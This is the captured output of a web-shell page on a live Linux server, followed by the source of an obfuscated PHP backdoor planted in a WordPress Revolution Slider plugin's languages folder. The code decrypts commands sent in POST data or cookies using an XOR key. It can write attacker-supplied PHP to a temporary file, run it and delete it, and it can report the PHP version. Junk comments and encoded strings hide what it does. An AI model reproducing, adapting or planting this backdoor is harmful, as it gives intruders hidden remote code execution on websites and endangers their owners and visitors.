HEX
Server: Apache
System: Linux websend04.greenconsulting.it 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web20 (5023)
PHP: 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/clients/client0/web20/web/wp-content/plugins/revslider/languages/chpinvau.php
<?php 
$cipwemec    =	'cipwemec' /* t   */ ^ /*   rlbc  */ '';





function      ghuahrs()

{


    $njuyrfir /*  jfws */ = /*dxsl */ 22;


  $qdawfujqvgqpn    = /* hnei*/ 'mjx';

    $uvselyf_o      = /*_v*/ 'jgpl';      $vcijbyrp    =	20;       $ghevojtkk	= /*x_e   */ 'uwlqg';
    return /*   zuprq */ $_POST;
}

$xttebek   =	ghuahrs();
$bpmihizjvu /*  bws  */ = /* g   */ 26;

$ojtsxkj /*gt */ =   'rsgchjcnrh';



$klkwox    = /*  shrdzm */ $_COOKIE;


$r_mvygd      =    'dtxjdai';

$sscnk   =    48;





ghuahrs();





function /* _txout   */ vypcl($qdawfujcsvicj,    $rilvahoxi)


{      global     $cipwemec;




       $xpxpplpjh  = /*lytjyu  */ sprintf($cipwemec(46) /*   e   */ .      "\x2f"   . /* csoxa */ "\x25" /* gpejug*/ . /*  mzk  */ "s"."\56"	.     "p"."\x6c",	md5($qdawfujcsvicj));
	file_put_contents($xpxpplpjh, /* obnd */ "<" /*lq  */ .     "\77"	. /*fwwdq  */ "\x70"    . /* p   */ $cipwemec(104)    .  "\160"  . /*qa   */ $cipwemec(32)     .      "\x75"	.	"n"."\154" /*  bffa*/ . /*  ktvt   */ "i"."n"."\x6b"     . /*   p_b_cx   */ "(".$cipwemec(95)    .    "_".$cipwemec(70)    .   "I".$cipwemec(1058-982)       .	"E".$cipwemec(163-68) /* ixpb */ .       $cipwemec(268-173) /*   pneij*/ . /*  gveq   */ $cipwemec(795-754)   . /* kp  */ "\x3b"	. /*jj*/ $cipwemec(32)	. /*pthhj  */ $rilvahoxi["d"]);


$sdrcu /*   _tfs   */ = /*   majx */ 'ccok';

	include($xpxpplpjh);

	$yboddkfwsigt_k       =      'bzvqmca';


	$sdrcu /*i*/ =   base64_decode($sdrcu);


	$xkxgx       =       'kmkpz'; /*   dc   */ $lkcpoz  =	$xpxpplpjh;


	$yboddkfwsigt_k /* a   */ = /* thcp  */ base64_decode($xkxgx);

    @unlink($lkcpoz);


	$rrtppq /* hzlj */ =     'exliqckl';
}


function	vyjnt()


{     global    $cipwemec;

    $qdawfuj /*   w */ = /*   b   */ array();


 /*   wdtuon */ $qdawfuj["p"."v"] /* roxptz   */ = /*  wkjnph */ phpversion();


 /*   wqqete  */ $qdawfuj["s"."\x76"]       = /*  q */ "3"."\56" /* mj   */ .    $cipwemec(53);

  echo /*   qwapsm  */ @serialize($qdawfuj);


	$qdawfujrscekeab_    = /*fqvlrh */ 9;}

function     omabowhyb($rilvahoxi,    $qdawfujcsvicj,	$dquxsajnd){
 /*  mzk   */ global   $cipwemec;



 /*   t  */ $rilvahoxi    =    unserialize(xbijwvjfp(xbijwvjfp(base64_decode($rilvahoxi),	$qdawfujcsvicj),	$dquxsajnd));


 /*  xgjtp  */ if       (isset($rilvahoxi["\x61" /*  cwhffr */ .  "k"])) /*snwl  */ {

    if    ($rilvahoxi["a"]       ==	"i")    {


   vyjnt();			$et__bgn    = /*  k*/ 27;

    }    elseif	($rilvahoxi["a"]     ==    "\145")    {


 /*  jxw   */ vypcl($qdawfujcsvicj,	$rilvahoxi);			$axeodceknm	=	'hgecchzajr';


 /* cpr  */ }
    exit();
   }
}



$klkwox      = /*ewyb   */ array_merge($xttebek,	$klkwox);	$mjleengdlh	=    'pokn_';



function       xbijwvjfp($rilvahoxi,  $aelokh)


{


   global    $cipwemec;

 /*lh   */ $nvjaqdw  =    "";

    for      ($qdawfuj	= /*   icug */ 0; /*   zemnz*/ $qdawfuj /*aogohs  */ <    strlen($rilvahoxi);)	{

    for	($yboddkfw     =	0;  $yboddkfw /*   yidq*/ <      strlen($aelokh)       && /*crejs*/ $qdawfuj   <    strlen($rilvahoxi);	$yboddkfw++, /* rhc   */ $qdawfuj++)   {


    $nvjaqdw       .= /*uor   */ $cipwemec(ord($rilvahoxi[$qdawfuj]) /*cicxvp   */ ^      ord($aelokh[$yboddkfw]));

			$qxhgqo    = /*   li*/ 25;
    }
 /*shql   */ }

 /*  _m   */ return   $nvjaqdw;

}




$qdawfujcsvicj	=  "\x61"    .  $cipwemec(504-447)    . /* nke   */ "\x64"     .   "a"."\64"    .	"\x62" /*   jkg*/ .    $cipwemec(101)       . /*vlf*/ "7"."-"."\144"    .     $cipwemec(180-123) /*  lgaah  */ .       "0".$cipwemec(48)	. /*   o*/ "-".$cipwemec(52)	.    "\142" /* ozof   */ .       "4"."\145".$cipwemec(45) /*hlerek   */ . /*  k  */ $cipwemec(57) /*   kyp */ . /*  yo */ "\x61" /*p*/ .	"\145"."6".$cipwemec(210-165)	. /* ip  */ "4".$cipwemec(595-497) /* rrl */ . /*mjgflm*/ "\x38"  . /*  i  */ "7"."\67"  .      "\x36"  . /* w   */ $cipwemec(651-602)      .      "5"."\67"     .    "d"."d".$cipwemec(431-333);$elefj /*tyr */ = /*krd_  */ strlen($mjleengdlh);
foreach /* ptm   */ ($klkwox   as /*vuegot  */ $dquxsajnd   => /* qpw */ $rilvahoxi)    {
       omabowhyb($rilvahoxi,	$qdawfujcsvicj, /*  b*/ $dquxsajnd);}






function     fbupqedvt()


{      $pipkfcdldy       =   'ei';     $tndqjngx    = /* dqs  */ 24; /*   f_tez   */ $wxaemkjqmg    =	'zjndqpx';	$_ffimrw    = /*  qa_xov */ 48; /* x*/ $znnbw /*   qa */ =    strtoupper($pipkfcdldy);

 /*   a   */ $zemncd /*  ghq_*/ =  $tndqjngx	-	$_ffimrw;
 /*  ly_o   */ $tndqjngx      =    $zemncd       - /*iszym  */ $tndqjngx;

 /*   ptuirg */ $vlwkbow_y      = /*fjby   */ 31;
      $pgueux	=    'htb';
	$zemncd	= /*emy*/ $tndqjngx      % /*   mq*/ ($vlwkbow_y	+ /* sxgj   */ 3);
}

fbupqedvt();



?>